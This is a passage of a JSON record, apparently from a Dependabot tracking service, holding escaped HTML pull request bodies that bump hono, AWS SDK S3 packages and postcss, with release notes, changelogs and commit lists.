href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5062\"\u003ehonojs/hono#5062\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(MIGRATION): fix req.raw.headers reference (property, not method) by \u003ca href=\"https://github.com/EduardF1\"\u003e\u003ccode\u003e@​EduardF1\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5047\"\u003ehonojs/hono#5047\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: don't publish \u003ccode\u003e*.tsbuildinfo\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5066\"\u003ehonojs/hono#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(utils/body,validator): normalize Content-Type media type for case-insensitive matching by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5067\"\u003ehonojs/hono#5067\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid circular dependency between body.ts and request.ts by \u003ca href=\"https://github.com/usualoma\"\u003e\u003ccode\u003e@​usualoma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5071\"\u003ehonojs/hono#5071\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(bun): report the requested subprotocol on WSContext.protocol by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5059\"\u003ehonojs/hono#5059\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: bump \u003ccode\u003edevDependencies\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5085\"\u003ehonojs/hono#5085\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(aws-lambda): detect V2 events by request context, not rawPath alone by \u003ca href=\"https://github.com/VihaanAgarwal\"\u003e\u003ccode\u003e@​VihaanAgarwal\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5033\"\u003ehonojs/hono#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(context-storage): fix JSDoc by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5086\"\u003ehonojs/hono#5086\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/EduardF1\"\u003e\u003ccode\u003e@​EduardF1\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5047\"\u003ehonojs/hono#5047\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5059\"\u003ehonojs/hono#5059\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/VihaanAgarwal\"\u003e\u003ccode\u003e@​VihaanAgarwal\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5033\"\u003ehonojs/hono#5033\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.27...v4.12.28\"\u003ehttps://github.com/honojs/hono/compare/v4.12.27...v4.12.28\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/b2ae3a2204a48ce15a26448fd746d39745eb1837\"\u003e\u003ccode\u003eb2ae3a2\u003c/code\u003e\u003c/a\u003e 4.12.30\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/e0cdeb0a89e777e6b2d75c59f516962670fb47dc\"\u003e\u003ccode\u003ee0cdeb0\u003c/code\u003e\u003c/a\u003e fix(method-override): set duplex when forwarding a stream body in query mode ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/653025e5c3a5eaf3b0e50d338250f601d7a5e56a\"\u003e\u003ccode\u003e653025e\u003c/code\u003e\u003c/a\u003e fix(client): replaceUrlParam should not match a param that prefixes another (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/67efb27f7bcba7a99cae7779b7eb71c3fcada8d8\"\u003e\u003ccode\u003e67efb27\u003c/code\u003e\u003c/a\u003e fix(compress): do not compress 206 Partial Content responses (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5020\"\u003e#5020\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/a48c8bf248eec5c2ecd468be5054c0d260a0dbfe\"\u003e\u003ccode\u003ea48c8bf\u003c/code\u003e\u003c/a\u003e fix(cache): deduplicate Cache-Control directives case-insensitively (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5025\"\u003e#5025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/3bb9a0e3a7dc0083061e91e885b2e9308585ee40\"\u003e\u003ccode\u003e3bb9a0e\u003c/code\u003e\u003c/a\u003e chore: update to ts6 in prep for ts7 (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5104\"\u003e#5104\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/d3f97caa29bba1f1ae31a4e023c25224aa2a4261\"\u003e\u003ccode\u003ed3f97ca\u003c/code\u003e\u003c/a\u003e chore(benchmark): remove not used benchmarks (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5108\"\u003e#5108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/29a3f73fd5ebab6c96c08e0607e801efa99bb954\"\u003e\u003ccode\u003e29a3f73\u003c/code\u003e\u003c/a\u003e chore(benchmark/routers): bump deps (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/cda1af200256fa9a014bbcc2fdf79db201a627b6\"\u003e\u003ccode\u003ecda1af2\u003c/code\u003e\u003c/a\u003e 4.12.29\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/2126289c15b0f87fb928645c4ed92d0f81d21cd4\"\u003e\u003ccode\u003e2126289\u003c/code\u003e\u003c/a\u003e fix(etag): treat If-None-Match: \u003ccode\u003e*\u003c/code\u003e as a match (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5084\"\u003e#5084\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/honojs/hono/compare/v4.11.4...v4.12.30\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for hono since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-s3` from 3.971.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-s3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-13 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/22a3bc515d256663596f02b273aaf38b6bf91830\"\u003e22a3bc51\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  GuardDuty AI Protection is now publicly available. Findings include Bedrock guardrail details, model details, observation numbers, and continuous scan details. GuardrailArn and GuardrailVersion are deprecated in favor of the guardrails list. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7456befb0b4c391b0038961f290afa9b8a1cc609\"\u003e7456befb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-gamelift:\u003c/strong\u003e  Amazon GameLift Servers now includes fleet expiration for managed fleets. A managed fleet expires one year after creation, transitioning to EXPIRED status, emitting a FLEET EXPIRED event, and scaling to zero instances. Expired fleets cannot host new game sessions or increase capacity. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca1487cad489ca2e88496be68c6357faf74bf492\"\u003eca1487ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-redshift-serverless:\u003c/strong\u003e  Add support for preserving datasharing, zero-ETL and S3 event integrations on snapshot restore to serverless namespace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0ed5e330fc88ba16a49ac673962622e8373f85b4\"\u003e0ed5e330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-elasticsearch-service:\u003c/strong\u003e  Adds support for the EngineMode and UseCase parameters on Amazon Elasticsearch Service domains, enabling GENERAL or OPTIMIZED engine modes and SEARCH, VECTOR, OBSERVABILITY, or MIXED usecases when creating and updating domain configurations. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8248f273eafd3d38a85b00a910e8361b88f4234\"\u003ef8248f27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Add Java 8, 11 and 17 on AL2023 (java8.al2023, java11.al2023, java17.al2023) support to AWS Lambda. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b9cd8db4e16718877328cdde9a8478ffecaee714\"\u003eb9cd8db4\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecredential-providers:\u003c/strong\u003e  memoization in fromNodeProviderChain (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8185\"\u003e#8185\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f878badeb9c7c9484b6ce9dea3af36edd72ff13\"\u003e1f878bad\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1086.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1085.0\u003c/h2\u003e\n\u003ch4\u003e3.1085.0(2026-07-10)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-10 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/dffbeab020cb30acaf3e126b70df855fbd644b38\"\u003edffbeab0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-quicksight:\u003c/strong\u003e  Provides CreateKnowledgeBase and UpdateKnowledgeBase APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/42de55235e68fccff5f36ba5dddd4f6026b9c4f4\"\u003e42de5523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-inspector2:\u003c/strong\u003e  Support for 3 day and 7 day ECR re-scan durations (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4b0b5c86d1c0c228751d3ad42287c96599982eab\"\u003e4b0b5c86\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Added TelemetryConfig support for Managed Instances Capacity Provider, enabling customers to configure system log level and custom log group for managed instance logging. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6338813981e21da09c2afff2774453bfeed8b0de\"\u003e63388139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-sagemaker:\u003c/strong\u003e  Release support for g4d, c6g, c7g, c8g instance types for SageMaker HyperPod (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/800976de4cc075bdd3f835982236e646e2871566\"\u003e800976de\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  New Amazon EC2 instances. M9g, M9gd, C9g, and C9gd on AWS Graviton5. C8in, M8in, and R8in add 600 Gbps network. C8ib, M8ib, and R8ib add 300 Gbps EBS. C8ine, M8ine, M8idn, R8idn, M8idb, and R8idb round out Intel Xeon 6. Mac-m3ultra with Apple M3 Ultra. G7 with NVIDIA RTX PRO 4500 Blackwell GPUs. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35aaf38707d66fa250c40fbef879fb9254a38cab\"\u003e35aaf387\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-license-manager:\u003c/strong\u003e  Added the ResetUsage field to the CreateLicenseVersion API. When set to true, the entitlement usage counts for the license are reset to 0. If it is false or not specified, entitlement usage is left unchanged. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/52f1c9c03192532f8d7fd99fbd9a3a1a567df6ad\"\u003e52f1c9c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  CloudWatch now assigns a unique identifier to each anomaly detector. PutAnomalyDetector and DescribeAnomalyDetectors return this AnomalyDetectorId, which you can use to describe or delete a specific anomaly detector directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/36fc0ee52f520bcd30676ec8954140309719677f\"\u003e36fc0ee5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1085.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1084.0\u003c/h2\u003e\n\u003ch4\u003e3.1084.0(2026-07-09)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect - Added DeleteContactData API to support PII deletion of customer endpoint, additional email recipients and email subject. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/87f4ae0edee3b09fccf660a9ec06f3819c0de033\"\u003e87f4ae0e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding \u0026quot;AI Analyst\u0026quot; enum value for detector (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/20518a4ffa622068a3452405a2d56565a5076ed3\"\u003e20518a4f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-synthetics:\u003c/strong\u003e  CloudWatch Synthetics adds support for customer managed KMS keys for canary environment variables. Customers can now encrypt their canary's Lambda function environment variables at rest using their own AWS KMS key, providing additional control over data protection. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c7379151145d04c34200a72783f0439873519b6d\"\u003ec7379151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  Added support for additional override parameters in CreateFleet, including LaunchTemplateSpecificationUserData, KeyName, IamInstanceProfile, and MetadataOptions. The CreateFleet response now also includes SubnetId, AvailabilityZone, and AvailabilityZoneId for launched instances. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6fcc95d184daf8db8b4ab131932b86d011628deb\"\u003e6fcc95d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ivs:\u003c/strong\u003e  adds support for AWS IVS ad configuration APIs to allow for a postRollConfiguration object on the ad configuration resource (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7dd93c48dbdb50fe7039cbb94071c73249bc6419\"\u003e7dd93c48\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-s3/CHANGELOG.md\"\u003e@​aws-sdk/client-s3's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1085.0...v3.1086.0\"\u003e3.1086.0\u003c/a\u003e (2026-07-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1084.0...v3.1085.0\"\u003e3.1085.0\u003c/a\u003e (2026-07-10)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1083.0...v3.1084.0\"\u003e3.1084.0\u003c/a\u003e (2026-07-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1082.0...v3.1083.0\"\u003e3.1083.0\u003c/a\u003e (2026-07-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1081.0...v3.1082.0\"\u003e3.1082.0\u003c/a\u003e (2026-07-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1080.0...v3.1081.0\"\u003e3.1081.0\u003c/a\u003e (2026-07-07)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1079.0...v3.1080.0\"\u003e3.1080.0\u003c/a\u003e (2026-07-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/64c3e5021b1deb2f3b3ff16ee6bdf73426a580c4\"\u003e\u003ccode\u003e64c3e50\u003c/code\u003e\u003c/a\u003e Publish v3.1086.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/8d0b4988c22db47c3ace06cb8c56655e3d7f055b\"\u003e\u003ccode\u003e8d0b498\u003c/code\u003e\u003c/a\u003e Publish v3.1085.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c34ce8a189bade665bbd8b79d291a2971f9d0672\"\u003e\u003ccode\u003ec34ce8a\u003c/code\u003e\u003c/a\u003e Publish v3.1084.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ceb9aeec0cc3c34d2713ef09a6ee61fb1595ea19\"\u003e\u003ccode\u003eceb9aee\u003c/code\u003e\u003c/a\u003e Publish v3.1083.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/9d72bc2930426ebee73da6a72df0f495be4e7db9\"\u003e\u003ccode\u003e9d72bc2\u003c/code\u003e\u003c/a\u003e chore(core/client): remove TypeScript version user-agent metric (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8177\"\u003e#8177\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/afc374045ee7449e93b256c1817dad02d409be71\"\u003e\u003ccode\u003eafc3740\u003c/code\u003e\u003c/a\u003e Publish v3.1082.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8b4987c1d5b52966d536b36200496ea490327b1\"\u003e\u003ccode\u003ef8b4987\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for isolatedModules tsconfig and server metrics recorder...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/8f43c790d2d05f793e719773f74ee10e0f49f00d\"\u003e\u003ccode\u003e8f43c79\u003c/code\u003e\u003c/a\u003e chore(deps): bump '\u003ccode\u003e@​smithy/core\u003c/code\u003e' to ^3.29.1 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8167\"\u003e#8167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/02d5abffc1e930685593dcfc324470568f9a043b\"\u003e\u003ccode\u003e02d5abf\u003c/code\u003e\u003c/a\u003e Publish v3.1081.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/be034d9a6cc365358a4da3ab171fb7c930047717\"\u003e\u003ccode\u003ebe034d9\u003c/code\u003e\u003c/a\u003e Publish v3.1080.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1086.0/clients/client-s3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/s3-request-presigner` from 3.971.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/s3-request-presigner's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cst...\n\n_Description has been truncated_","html_url":"https://github.com/azoila/openmdm/pull/23","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/azoila%2Fopenmdm/issues/23","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/23/packages"},{"uuid":"4878836941","node_id":"PR_kwDONnaP-s7xVDfk","number":82,"state":"closed","title":"Bump postcss from 8.5.16 to 8.5.19","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-07-21T00:43:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-14T00:43:57.000Z","updated_at":"2026-07-21T00:43:18.000Z","time_to_close":604759,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.16 to 8.5.19.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e 